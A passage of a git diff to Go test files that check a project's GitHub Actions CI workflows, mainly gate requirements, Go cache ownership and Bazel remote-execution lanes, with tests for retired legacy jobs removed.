t.Errorf("test-nix if = %q, want ungated", workflow.Jobs["test-nix"].If) - } - gate := workflow.Jobs["ci-gate"] - wantNeeds := []string{"detect-ci-tier", "bazel-coverage", "build-embedded", "test-embedded-storage", "test-embedded-conformance", "test-server-storage", "test-server-storage-full", "test-embedded-cmd", "test-proxied-cmd", "test-nix"} - gateStep := gate.step(t, "Evaluate CI gate") - if gate.If != "${{ always() }}" || strings.Join(gate.Needs, ",") != strings.Join(wantNeeds, ",") || gateStep.Env["FULL_EMBEDDED"] != "${{ needs.detect-ci-tier.outputs.full_embedded }}" || gateStep.Env["CI_GATE_REQUIRED"] != "DETECT_CI_TIER BAZEL_COVERAGE BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD TEST_NIX" || !strings.Contains(gateStep.Run, "skipped_ok=\"BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD\"") { - t.Errorf("ci-gate authority changed: needs=%v env=%v", gate.Needs, gateStep.Env) - } - for name, job := range workflow.Jobs { - if strings.Contains(job.If, "shadow_") { - t.Errorf("job %q shadow condition = %q", name, job.If) - } - for _, step := range job.Steps { - if strings.Contains(step.If, "shadow_") { - t.Errorf("step %q shadow condition = %q", step.Name, step.If) - } - for key, value := range step.Env { - if strings.Contains(value, "shadow_") { - t.Errorf("step %q env %s consumes shadow output", step.Name, key) - } - } - } - } -} - -type capabilitySelectorWorkflow struct { - Jobs map[string]capabilitySelectorJob `yaml:"jobs"` -} - -type capabilitySelectorJob struct { - Needs ciWorkflowStringList `yaml:"needs"` - If string `yaml:"if"` - Outputs map[string]string `yaml:"outputs"` - Steps []capabilitySelectorWorkflowStep `yaml:"steps"` -} - -type capabilitySelectorWorkflowStep struct { - Name string `yaml:"name"` - ID string `yaml:"id"` - If string `yaml:"if"` - ContinueOnError bool `yaml:"continue-on-error"` - Run string `yaml:"run"` - Env map[string]string `yaml:"env"` -} - -func (job capabilitySelectorJob) step(t *testing.T, name string) capabilitySelectorWorkflowStep { - t.Helper() - for _, step := range job.Steps { - if step.Name == name { - return step - } - } - t.Fatalf("job has no %q step", name) - return capabilitySelectorWorkflowStep{} -} - -func (job capabilitySelectorJob) stepIndex(t *testing.T, name string) int { - t.Helper() - for index, step := range job.Steps { - if step.Name == name { - return index - } - } - t.Fatalf("job has no %q step", name) - return -1 -} - -func decisions(embeddedCLI, proxiedCLI, embeddedStorage, embeddedConformance, serverConformance bool, reason string) map[string]string { - full := embeddedCLI && proxiedCLI && embeddedStorage && embeddedConformance && serverConformance - return map[string]string{ - "embedded_cli": boolString(embeddedCLI), - "proxied_cli": boolString(proxiedCLI), - "embedded_storage": boolString(embeddedStorage), - "embedded_conformance": boolString(embeddedConformance), - "server_conformance": boolString(serverConformance), - "full": boolString(full), - "reason": reason, - } -} - -func boolString(value bool) string { - if value { - return "true" - } - return "false" -} - -func runCICapabilitySelector(t *testing.T, records []string, event string, bounds, gitFail bool) (map[string]string, string) { - t.Helper() - if runtime.GOOS == "windows" { - t.Skip("selector is a Bash boundary") - } - dir := t.TempDir() - fixture := filepath.Join(dir, "diff") - if err := os.WriteFile(fixture, append([]byte(strings.Join(records, "\x00")), 0), 0600); err != nil { - t.Fatalf("write NUL fixture: %v", err) - } - fakeGit := filepath.Join(dir, "git") - if err := os.WriteFile(fakeGit, []byte("#!/bin/sh\n[ \"${FAKE_GIT_FAIL:-}\" = 1 ] && exit 1\ncat \"$FAKE_GIT_FIXTURE\"\n"), 0700); err != nil { - t.Fatalf("write fake git: %v", err) - } - output := filepath.Join(dir, "github-output") - cmd := exec.Command("bash", filepath.Join("..", ".github", "scripts", "ci-capability-selector.sh")) - cmd.Env = append(os.Environ(), "PATH="+dir+string(os.PathListSeparator)+os.Getenv("PATH"), "GITHUB_EVENT_NAME="+event, "FAKE_GIT_FIXTURE="+fixture, "GITHUB_OUTPUT="+output) - if bounds { - cmd.Env = append(cmd.Env, "PR_BASE_SHA=base", "PR_HEAD_SHA=head") - } - if gitFail { - cmd.Env = append(cmd.Env, "FAKE_GIT_FAIL=1") - } - raw, err := cmd.Output() - if err != nil { - t.Fatalf("selector failed: %v", err) - } - outputBytes, err := os.ReadFile(output) - if err != nil { - t.Fatalf("read GITHUB_OUTPUT: %v", err) - } - if string(raw) != string(outputBytes) { - t.Fatalf("stdout and GITHUB_OUTPUT differ:\nstdout=%q\noutput=%q", raw, outputBytes) - } - return parseSelectorOutputs(t, string(raw)), string(raw) -} - -func parseSelectorOutputs(t *testing.T, raw string) map[string]string { - t.Helper() - lines := strings.Split(strings.TrimSuffix(raw, "\n"), "\n") - if len(lines) != len(selectorKeys) { - t.Fatalf("selector output has %d lines, want %d: %q", len(lines), len(selectorKeys), raw) - } - got := make(map[string]string, len(lines)) - for index, line := range lines { - key, value, ok := strings.Cut(line, "=") - if !ok || key != selectorKeys[index] { - t.Fatalf("selector output line %d = %q, want %q=...", index, line, selectorKeys[index]) - } - got[key] = value - } - return got -} - -func assertSelectorOutputs(t *testing.T, got, want map[string]string) { - t.Helper() - for _, key := range selectorKeys { - if got[key] != want[key] { - t.Errorf("%s = %q, want %q", key, got[key], want[key]) - } - } -} diff --git a/scripts/ci_merge_queue_test.go b/scripts/ci_merge_queue_test.go index 354db638c..491dba18d 100644 --- a/scripts/ci_merge_queue_test.go +++ b/scripts/ci_merge_queue_test.go @@ -129,7 +129,7 @@ func TestMergeQueueRequiredGatesRunOnMergeGroup(t *testing.T) { event := regexp.MustCompile(`github\.event_name|github\.event\.|github\.base_ref|github\.head_ref`) for jobName, job := range w.Jobs { if event.MatchString(job.If) { - t.Errorf("%s job %s if %q keys on the event; decide in a job (detect-ci-tier, bazel-coverage) and read its outputs", name, jobName, job.If) + t.Errorf("%s job %s if %q keys on the event; decide in a job (bazel.yml's rbe job) and read its outputs", name, jobName, job.If) } for _, step := range job.Steps { if event.MatchString(step.If) { @@ -186,19 +186,14 @@ func TestMergeQueueConcurrencyNeverCancelsQueueRuns(t *testing.T) { func TestMergeQueuePullRequestFieldsHandleMergeGroup(t *testing.T) { // path suffix (workflow:YAML path) -> why null on merge_group is right. nullOK := map[string]string{ - "pr.yml:.concurrency.group": "falls back to github.ref (TestMergeQueueConcurrencyNeverCancelsQueueRuns)", - "pr-risk.yml:.concurrency.group": "falls back to github.ref", - "bazel.yml:.concurrency.group": "falls back to github.ref", - "bazel-coverage.steps[0].env.FORK": "null == true is false: a merge group is never a fork (bazel.yml's rbe job's expression, verbatim)", - "rbe.steps[0].env.FORK": "null == true is false: a merge group is never a fork", - "rbe.steps[0].env.PR_NUMBER": "read only for fork/Dependabot pull_request runs (the rbe-fork mint)", - ".env.RBE_FORK_PR": "setup-bazel reads it only in the fork modes, which a merge group never takes", - "detect-ci-tier.steps[1].env.PR_BASE_SHA": "ci-embedded-tier.sh returns full coverage for merge_group before reading it", - "detect-ci-tier.steps[1].env.PR_HEAD_SHA": "ci-embedded-tier.sh returns full coverage for merge_group before reading it", - "detect-ci-tier.steps[2].env.PR_BASE_SHA": "advisory shadow selector; merge_group selects everything", - "detect-ci-tier.steps[2].env.PR_HEAD_SHA": "advisory shadow selector; merge_group selects everything", - "bazel-test.steps[*].env.PR_NUMBER": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", - "bazel-test.steps[*].env.PR_HEAD_SHA": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", + "pr.yml:.concurrency.group": "falls back to github.ref (TestMergeQueueConcurrencyNeverCancelsQueueRuns)", + "pr-risk.yml:.concurrency.group": "falls back to github.ref", + "bazel.yml:.concurrency.group": "falls back to github.ref", + "rbe.steps[0].env.FORK": "null == true is false: a merge group is never a fork", + "rbe.steps[0].env.PR_NUMBER": "read only for fork/Dependabot pull_request runs (the rbe-fork mint)", + ".env.RBE_FORK_PR": "setup-bazel reads it only in the fork modes, which a merge group never takes", + "bazel-test.steps[*].env.PR_NUMBER": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", + "bazel-test.steps[*].env.PR_HEAD_SHA": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", // bazel.yml's CI analytics summary step (rbe-ci-bep-analytics- // design.md, S3), one entry per lane job (ciAnalyticsLaneJobs in // ci_analytics_workflow_test.go) rather than a bare "steps[*]...", @@ -260,39 +255,13 @@ func TestMergeQueuePullRequestFieldsHandleMergeGroup(t *testing.T) { } } -// D2 on merge_group: both workflows' bazel-coverage decision, with its env -// evaluated by evalGHExpr for a merge group, retires every flagged legacy -// tier (the Bazel lanes cover them), and bazel.yml's rbe step, evaluated the -// same way, takes mode remote with the CI secrets, so pr.yml's gate requires -// those lanes to have run remotely and passed. Without the secret or with -// the farm switch off the mode is cache or skip, and the gate is red -// (TestPRRiskDecisionMatchesBazelMode's named merge_group cases). -func TestMergeQueueBazelCoversRetiredTiers(t *testing.T) { +// Merge groups: bazel.yml's rbe step, evaluated by evalGHExpr for a merge +// group, takes mode remote with the CI secrets, so pr.yml's gate (which +// requires every lane to have run remotely, BAZEL_REMOTE) can pass. Without +// the secret or with the farm switch off the mode is cache or skip, and the +// gate is red (TestPRGateRequiresRemoteBazelLanes). +func TestMergeQueueBazelRunsRemotely(t *testing.T) { requireHostTool(t, "bash") - for _, name := range []string{"pr.yml", prRiskWorkflowName} { - step := coverageStep(t, name) - ctx := mergeGroupCtx(1, nil) - for k, v := range workflowEnv(t, name) { - ctx["env."+k] = v - } - env := map[string]string{} - for k, v := range step.Env { - env[k] = interpolateGH(t, v, ctx) - } - if env["MERGE_GROUP"] != "true" || env["PULL_REQUEST"] != "false" || env["FORK"] != "false" || env["DEPENDABOT"] != "false" { - t.Errorf("%s bazel-coverage env on merge_group = %v", name, env) - } - out, err := runBazelRBEDecision(t, step.Run, env) - if err != nil { - t.Fatalf("%s bazel-coverage on merge_group: %v", name, err) - } - for _, r := range retiredTiers { - want := strconv.FormatBool(ctx["env."+r.flag] == "true") - if out[r.output] != want { - t.Errorf("%s bazel-coverage %s on merge_group = %q, want %s (flag %s %q)", name, r.output, out[r.output], want, r.flag, ctx["env."+r.flag]) - } - } - } rbe := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName) for _, c := range []struct { name, varOn, secret, mode string diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index ede9ca629..32c7123cd 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -28,7 +28,7 @@ func TestCIWorkflowArtifactOwnership(t *testing.T) { "make ci-pr-policy", "make ci-pr-lint", } { - for _, step := range workflow.job(t, "build-artifacts").Steps { + for _, step := range workflow.Jobs["build-artifacts"].Steps { if strings.Contains(step.Run, forbidden) { t.Errorf("build-artifacts runs %q in step %q", forbidden, step.Name) } @@ -277,31 +277,20 @@ func readGoreleaserBuilds(t *testing.T) []goreleaserBuild { return config.Builds } +// Exclude read-permission coverage is required, not best effort: Bazel's +// PR-core lane (bazel.yml's `test`, the only PR run of PR Core's tests) +// requires it, and pr.yml's gate requires that lane. func TestPRCoreRequiresExcludeReadPermissionCoverage(t *testing.T) { - workflow := readCIWorkflow(t, "pr.yml") - job := workflow.job(t, "pr-core-wrapper") - // Its only condition is D2 step 3's stand-down, where Bazel's PR-core - // lane (required instead) runs the test with the same requirement. - if job.RunsOn != "ubuntu-latest" || job.If != prLaneLegacyIf || job.ContinueOnError { - t.Error("exclude permission coverage must remain in the required Linux PR Core job") - } if !contains(bazelPRLaneRCLines["prcore"], "test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1") { - t.Error("Bazel's PR-core lane must require actual exclude read-permission coverage where PR Core stands down") + t.Error("Bazel's PR-core lane must require actual exclude read-permission coverage") } - step := job.Steps[job.stepIndex(t, "Run PR core wrapper")] - if step.If != "" || (step.ContinueOnError != nil && step.ContinueOnError != false) || strings.TrimSpace(step.Run) != "make ci-pr-core" { - t.Error("exclude permission coverage must run through the nonoptional PR Core wrapper") - } - if step.Env["BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION"] != "1" { - t.Error("PR Core must require actual exclude read-permission coverage") - } - gate := workflow.job(t, "ci-gate") + gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") evaluate := gate.step(t, "Evaluate CI gate") if gate.If != "${{ always() }}" || gate.ContinueOnError || evaluate.If != "" || (evaluate.ContinueOnError != nil && evaluate.ContinueOnError != false) { - t.Error("CI gate must propagate required PR Core failures") + t.Error("CI gate must propagate required Bazel PR-core failures") } - if !contains(gate.Needs, "pr-core-wrapper") || evaluate.Env["PR_CORE_WRAPPER"] != "${{ needs.pr-core-wrapper.result }}" || !contains(strings.Fields(evaluate.Env["CI_GATE_REQUIRED"]), "PR_CORE_WRAPPER") { - t.Error("CI gate must require the PR Core result") + if !contains(gate.Needs, "bazel") || !contains(strings.Fields(evaluate.Env["CI_GATE_REQUIRED"]), "BAZEL_TEST") { + t.Error("CI gate must require the Bazel PR-core lane (BAZEL_TEST)") } } @@ -637,82 +626,6 @@ func TestPRCIGateRequiresWindowsGlobalPrimeOverride(t *testing.T) { } } -func TestPRCIGateRequiresJSWasmHookExecution(t *testing.T) { - workflow := readCIWorkflow(t, "pr.yml") - job := workflow.job(t, "check-cmd-bd-puregeo-tests") - if job.RunsOn != "ubuntu-latest" { - t.Errorf("js/wasm hook job runs-on = %q, want ubuntu-latest", job.RunsOn) - } - // Only D2 step 3's stand-down, where Bazel's pure-Go and js/wasm lane - // (TestBazelPureJobMirrorsPureGoJob) is required instead - // (TestPRLegacyLanesDeferToBazelLanes). - if job.If != prLaneLegacyIf { - t.Errorf("js/wasm hook job is conditional: %q", job.If) - } - - setupGo := job.step(t, "Set up Go") - if setupGo.Uses != setupGoActionFamily+"@"+setupGoSHA { - t.Errorf("setup-go action = %q", setupGo.Uses) - } - if setupGo.With["go-version-file"] != "go.mod" || setupGo.With["cache"] != "false" { - t.Errorf("setup-go inputs = %v", setupGo.With) - } - - setupNode := job.step(t, "Set up Node.js") - if setupNode.Uses != setupNodeActionFamily+"@"+setupNodeSHA { - t.Errorf("setup-node action = %q", setupNode.Uses) - } - if setupNode.With["node-version"] != "24" { - t.Errorf("setup-node version = %q, want 24", setupNode.With["node-version"]) - } - - execute := job.step(t, "Run js/wasm hook boundary") - if execute.If != "" { - t.Errorf("js/wasm hook step is conditional: %q", execute.If) - } - for key, want := range map[string]string{ - "CGO_ENABLED": "0", - "GOARCH": "wasm", - "GOOS": "js", - } { - got, ok := execute.Env[key] - if !ok || got != want { - t.Errorf("js/wasm hook env %s = %q (present=%v), want %q", key, got, ok, want) - } - } - for _, required := range []string{ - `go test -tags gms_pure_go -count=1 -timeout=2m`, - `-exec="$(go env GOROOT)/lib/wasm/go_js_wasm_exec"`, - `-run '^TestRunHookReportsUnsupportedExecution$'`, - `-v ./internal/hooks`, - `|| test_status=$?`, - `=== RUN TestRunHookReportsUnsupportedExecution`, - `^--- PASS: TestRunHookReportsUnsupportedExecution`, - `nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): '`, - `[[ "$line" =~ $nonpass_pattern ]]`, - `run_count != 1 || pass_count != 1 || nonpass_count != 0`, - } { - if !strings.Contains(execute.Run, required) { - t.Errorf("js/wasm hook command does not contain %q", required) - } - } - if regexp.MustCompile(`\bgo1\.[0-9]`).MatchString(execute.Run) { - t.Errorf("js/wasm hook command duplicates the Go version owned by go.mod") - } - - gate := workflow.job(t, "ci-gate") - gateEnv := gate.step(t, "Evaluate CI gate").Env - if !contains(gate.Needs, "check-cmd-bd-puregeo-tests") { - t.Errorf("ci-gate does not require js/wasm hook job: %v", gate.Needs) - } - if got := gateEnv["CHECK_CMD_BD_PUREGEO_TESTS"]; got != "${{ needs.check-cmd-bd-puregeo-tests.result }}" { - t.Errorf("ci-gate js/wasm hook result = %q", got) - } - if !strings.Contains(gateEnv["CI_GATE_REQUIRED"], "CHECK_CMD_BD_PUREGEO_TESTS") { - t.Errorf("ci-gate required set omits js/wasm hook job") - } -} - func TestPRCIGateRequiresGeneratedHookTimeoutProcessBoundary(t *testing.T) { const ( jobName = "pr-preflight-platforms" @@ -1015,12 +928,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { saveBuildCacheDayBucketedAfterFailureIf("non-race", ""), }) - assertGoCacheInventory(t, workflows["pr.yml"].job(t, "build-artifacts"), []goCacheStep{ - restoreModuleCache(), restoreBuildCache("non-race"), - }) - assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), []goCacheStep{ - restoreModuleCache(), restoreBuildCache("race"), - }) assertGoCacheInventory(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), }) @@ -1057,9 +964,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-preflight-platforms"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), }) - assertGoCacheInventory(t, workflows["pr-risk.yml"].job(t, "build-embedded"), []goCacheStep{ - restoreModuleCache(), restoreBuildCache("race"), restoreBuildCache("non-race"), - }) assertNoUnmanagedGoCacheSteps(t, workflows, map[string]map[string]bool{ "main.yml": { "build-artifacts": true, "test": true, "test-windows": true, @@ -1075,20 +979,18 @@ func TestGoCacheOwnershipTopology(t *testing.T) { "blacksmith-setup-go-cache": true, }, "pr.yml": { - "build-artifacts": true, "pr-core-wrapper": true, "worktree-remove-windows": true, + "worktree-remove-windows": true, "check-doc-freshness-platforms": true, "pr-preflight-platforms": true, "advisory-reports": true, "windows-test-binaries": true, "test-windows-liveness": true, }, - "pr-risk.yml": {"build-embedded": true}, + "pr-risk.yml": {}, }) mainArtifacts := workflows["main.yml"].job(t, "build-artifacts") assertStepsBefore(t, mainArtifacts, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build reusable Linux artifacts"}) assertStepsBefore(t, mainArtifacts, []string{"Build reusable Linux artifacts", "Upload build artifacts"}, []string{"Save Go module cache", "Save non-race Go build cache"}) - embeddedRaceBuilds := []string{"Build embedded bd binary", "Build embedded storage test binary", "Build embedded cmd test binary"} - mainTest := workflows["main.yml"].job(t, "test") assertStepsBefore(t, mainTest, []string{"Restore Go module cache"}, []string{"Build", "Test"}) assertStepsBefore(t, mainTest, []string{"Restore non-race Go build cache"}, []string{"Build"}) @@ -1099,10 +1001,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, mainWindows, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build (pure Go regex)"}) assertStepsBefore(t, mainWindows, []string{"Build (pure Go regex)", "Smoke test - version", "Smoke test - help"}, []string{"Save Go module cache", "Save non-race Go build cache"}) - assertStepsBefore(t, workflows["pr.yml"].job(t, "build-artifacts"), - []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build reusable Linux artifacts"}) - assertStepsBefore(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), - []string{"Restore Go module cache", "Restore race Go build cache"}, []string{"Run PR core wrapper"}) prXCompile := workflows["pr.yml"].job(t, "windows-test-binaries") assertStepsBefore(t, prXCompile, []string{"Restore Go module cache"}, []string{"Verify Go module checksums", "Build Windows test binaries"}) assertStepsBefore(t, prXCompile, []string{"Install mingw cross-compiler", "Restore Go build cache (Windows cross-compile)"}, []string{"Build Windows test binaries"}) @@ -1122,27 +1020,13 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, workflows["pr.yml"].job(t, "advisory-reports"), []string{"Restore Go module cache"}, []string{"Type-check every module under examples/"}) - prRiskEmbedded := workflows["pr-risk.yml"].job(t, "build-embedded") - prRiskNonRaceBuilds := []string{"Build proxied bd subprocess binary", "Build server Dolt conformance test binary"} - assertStepsBefore(t, prRiskEmbedded, []string{"Restore Go module cache"}, append(append([]string{}, embeddedRaceBuilds...), prRiskNonRaceBuilds...)) - assertStepsBefore(t, prRiskEmbedded, []string{"Restore race Go build cache"}, embeddedRaceBuilds) - assertStepsBefore(t, prRiskEmbedded, []string{"Restore non-race Go build cache"}, prRiskNonRaceBuilds) - assertGoCacheEnv(t, workflows["main.yml"].job(t, "build-artifacts"), "Build reusable Linux artifacts", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Build", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Test", "race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test-windows"), "Build (pure Go regex)", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), "Build Windows test binaries", xcompileCacheProfile()) - assertGoCacheEnv(t, workflows["pr.yml"].job(t, "build-artifacts"), "Build reusable Linux artifacts", "non-race") - assertGoCacheEnv(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), "Run PR core wrapper", "race") assertGoCacheEnv(t, workflows["pr.yml"].job(t, "windows-test-binaries"), "Build Windows test binaries", xcompileCacheProfile()) assertGoCacheEnv(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), "Run native Windows worktree removal boundary tests", "non-race") - for _, stepName := range []string{"Build embedded bd binary", "Build embedded storage test binary", "Build embedded cmd test binary"} { - assertGoCacheEnv(t, workflows["pr-risk.yml"].job(t, "build-embedded"), stepName, "race") - } - for _, stepName := range []string{"Build proxied bd subprocess binary", "Build server Dolt conformance test binary"} { - assertGoCacheEnv(t, workflows["pr-risk.yml"].job(t, "build-embedded"), stepName, "non-race") - } for _, workflowName := range []string{"pr.yml", "pr-risk.yml"} { for jobName, job := range workflows[workflowName].Jobs { for _, step := range job.Steps { @@ -1171,14 +1055,11 @@ func TestGoCacheOwnershipTopology(t *testing.T) { {"main.yml", "test-windows"}, {"main.yml", "windows-test-binaries-cache"}, {"main.yml", "blacksmith-macos-go-build-cache"}, - {"pr.yml", "build-artifacts"}, - {"pr.yml", "pr-core-wrapper"}, {"pr.yml", "windows-test-binaries"}, {"pr.yml", "worktree-remove-windows"}, {"pr.yml", "check-doc-freshness-platforms"}, {"pr.yml", "pr-preflight-platforms"}, {"pr.yml", "advisory-reports"}, - {"pr-risk.yml", "build-embedded"}, } { if got := workflows[target.workflow].job(t, target.job).step(t, "Set up Go").ID; got != "setup-go" { t.Errorf("%s job %q setup-go id = %q, want setup-go", target.workflow, target.job, got) @@ -1214,92 +1095,13 @@ func TestMainWindowsTestBinariesCacheSeedsBothRunnerSelections(t *testing.T) { } } -// TestPRRiskGateReachesFullServerDoltStorageSuite is the regression test for -// be-aiy5: test-server-storage already keeps a live Dolt server up (via -// build-embedded's /tmp/dolt-conformance-test binary, which compiles every -// top-level test in package internal/storage/dolt, not just conformance), -// but restricts execution to -test.run '^TestConformance$'. Every other -// server-gated test in that same binary -- TestCreateGuard_*, -// TestFederationPeerCredentialLifecycleLazyKeyInit, and diff-owned tests -// such as TestBenchDBPurgeDoesNotLeak on PR #5792 -- is reached by no -// PR-triggered lane, so it silently SKIPs instead of producing a real -// PASS/FAIL. A sibling job must run everything else in the same binary -// against the same live server, without a new build step, and must be wired -// into ci-gate as required so a SKIP there can no longer hide behind green. -func TestPRRiskGateReachesFullServerDoltStorageSuite(t *testing.T) { - const jobName = "test-server-storage-full" - - workflow := readCIWorkflow(t, "pr-risk.yml") - job := workflow.job(t, jobName) - - if job.RunsOn != "ubuntu-latest" { - t.Errorf("%s runs-on = %q, want ubuntu-latest", jobName, job.RunsOn) - } - if job.TimeoutMinutes != 20 { - t.Errorf("%s timeout = %d minutes, want 20 (matches test-server-storage)", jobName, job.TimeoutMinutes) - } - if !contains(job.Needs, "detect-ci-tier") || !contains(job.Needs, "build-embedded") { - t.Errorf("%s needs = %v, want detect-ci-tier and build-embedded (reuse the existing artifact, no new build)", jobName, job.Needs) - } - if sibling := workflow.job(t, "test-server-storage").If; job.If != sibling || !strings.HasPrefix(job.If, "needs.detect-ci-tier.outputs.full_embedded == 'true'") { - t.Errorf("%s if = %q, want the same tier gate as test-server-storage (%q)", jobName, job.If, sibling) - } - - download := job.step(t, "Download binaries") - if download.With["name"] != "embedded-test-binaries" { - t.Errorf("%s does not download the existing embedded-test-binaries artifact (would require a new build step): %v", jobName, download.With) - } - - // Pro-rata against the embedded lane (75 shard-minutes / 324 tests): - // 1126 tests at the same per-test cost is ~260 shard-minutes; 16 shards - // x 15m = 240 shard-minutes, with the ~9.5-minute TestCloudAuthCLIRouting - // outlier isolated on its own shard via the shard manifest. - const totalShards = 16 - wantShards := make([]int, totalShards) - for i := range wantShards { - wantShards[i] = i + 1 - } - if !reflect.DeepEqual(job.Strategy.Matrix.Shard, wantShards) { - t.Errorf("%s strategy.matrix.shard = %v, want %v", jobName, job.Strategy.Matrix.Shard, wantShards) - } - if job.Strategy.FailFast { - t.Errorf("%s strategy.fail-fast = true, want false (one slow/flaky shard should not cancel the others)", jobName) - } - - wantTestCommand := fmt.Sprintf("bash .github/scripts/server-storage-test-shard.sh ${{ matrix.shard }} %d", totalShards) - assertStepRunsExactly(t, job, "Test", wantTestCommand) - // federation_test.go Fatals instead of silently skipping when this is set - // and the server it expects isn't reachable -- this job's whole point is - // a real PASS/FAIL, not a hidden self-skip if its own setup regresses. - assertStepEnvValue(t, job, "Test", "BEADS_TEST_ENV_RUN_DOLT", "1") - - // test-server-storage itself is untouched: conformance keeps its own - // dedicated job and timeout budget; this is an additive sibling, not a - // widened filter on the existing job. - existing := workflow.job(t, "test-server-storage") - assertStepRunsExactly(t, existing, "Test", `/tmp/dolt-conformance-test -test.v -test.count=1 -test.timeout=15m -test.run '^TestConformance$'`) - - gate := workflow.job(t, "ci-gate") - gateEnv := gate.step(t, "Evaluate CI gate").Env - const gateKey = "TEST_SERVER_STORAGE_FULL" - if !contains(gate.Needs, jobName) { - t.Errorf("ci-gate does not need %q: %v", jobName, gate.Needs) - } - if got, want := gateEnv[gateKey], fmt.Sprintf("${{ needs.%s.result }}", jobName); got != want { - t.Errorf("ci-gate env %s = %q, want %q", gateKey, got, want) - } - if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), gateKey) { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include %q", gateKey) - } -} - func TestServerStorageShardScriptRunsPrebuiltBinaryFromPackageDir(t *testing.T) { // pr4107_corruption_test.go and journal_scope_completeness_test.go use // paths relative to internal/storage/dolt (e.g. ../schema/migrations, // ../issueops). `go test` runs a package's tests with cwd = the package // dir, so those resolve; a prebuilt test binary inherits the invoking // shell's cwd instead. server-storage-test-shard.sh is invoked from the - // repo root (see TestPRRiskGateReachesFullServerDoltStorageSuite above), + // repo root (//internal/storage/dolt's server-storage variants), // so the prebuilt-binary branch must cd into the package dir itself, // immediately before exec -- any earlier and it breaks the repo-root- // relative manifest/discovery above it; any later, or absent, and the 6 @@ -1353,7 +1155,7 @@ func TestServerStorageShardScriptRunsPrebuiltBinaryFromPackageDir(t *testing.T) if cdIndex < 0 { t.Fatal(`script does not "cd internal/storage/dolt" before running the prebuilt binary -- ` + `relative-path tests (../schema/migrations, ../issueops) will fail when this script ` + - `is invoked from the repo root, as pr-risk.yml's test-server-storage-full job does`) + `is invoked from the repo root, as //internal/storage/dolt:dolt_server_full_test does`) } if cdIndex <= discoveryIndex { t.Fatalf("cd internal/storage/dolt at line %d is at or before the repo-root-relative test "+ @@ -2559,7 +2361,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // F7b's scope, not this one). windows-test-binaries is F4's Linux // mingw cross-compile job, sized at 8vcpu. "pr.yml": { - "bazel-coverage": sameRepoBlacksmith2vcpu, "ci-gate": sameRepoBlacksmith2vcpu, + "ci-gate": sameRepoBlacksmith2vcpu, "fast-checks": sameRepoBlacksmith2vcpu, "advisory-reports": sameRepoBlacksmith2vcpu, "check-doc-flags": sameRepoBlacksmith4vcpu, @@ -2591,7 +2393,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "pr-preflight-platforms": sameRepoPlatformsMatrixMarkerRunsOn, }, "pr-risk.yml": { - "bazel-coverage": sameRepoBlacksmith2vcpu, "ci-gate": sameRepoBlacksmith2vcpu, "detect-ci-tier": sameRepoBlacksmith2vcpu, + "ci-gate": sameRepoBlacksmith2vcpu, "test-nix": sameRepoBlacksmith4vcpu, }, bazelWorkflowName: {bazelRBEJobName: wantRBERunsOn}, @@ -3019,10 +2821,11 @@ func readBazelWorkflowCall(t *testing.T) bazelWorkflowCall { return doc.On.WorkflowCall } -// Slice D1: pr.yml calls bazel.yml once per PR and merge group, and its -// ci-gate requires the Bazel lanes in addition to (not instead of) the legacy -// jobs they mirror, which stay required in pr.yml and pr-risk.yml. -func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { +// pr.yml calls bazel.yml once per PR and merge group, and its ci-gate +// requires the Bazel lanes, which are the only run of the Linux Go test tiers +// (ga-96smfk.22 retired the legacy jobs they mirrored in pr.yml and +// pr-risk.yml). +func TestBazelLaneIsGated(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) call := readBazelWorkflowCall(t) @@ -3172,11 +2975,8 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { if !contains(gate.Needs, "bazel") { t.Errorf("ci-gate needs = %v, want bazel", gate.Needs) } - // Plus D2's decision and retirement checks (TestPRRiskDecisionMatchesBazelMode). - wantBazelIDs := []string{bazelAggregateGateID, prRiskCoverageGateID} - for _, r := range retiredTiers { - wantBazelIDs = append(wantBazelIDs, r.retiredID) - } + // Plus the remote-execution check 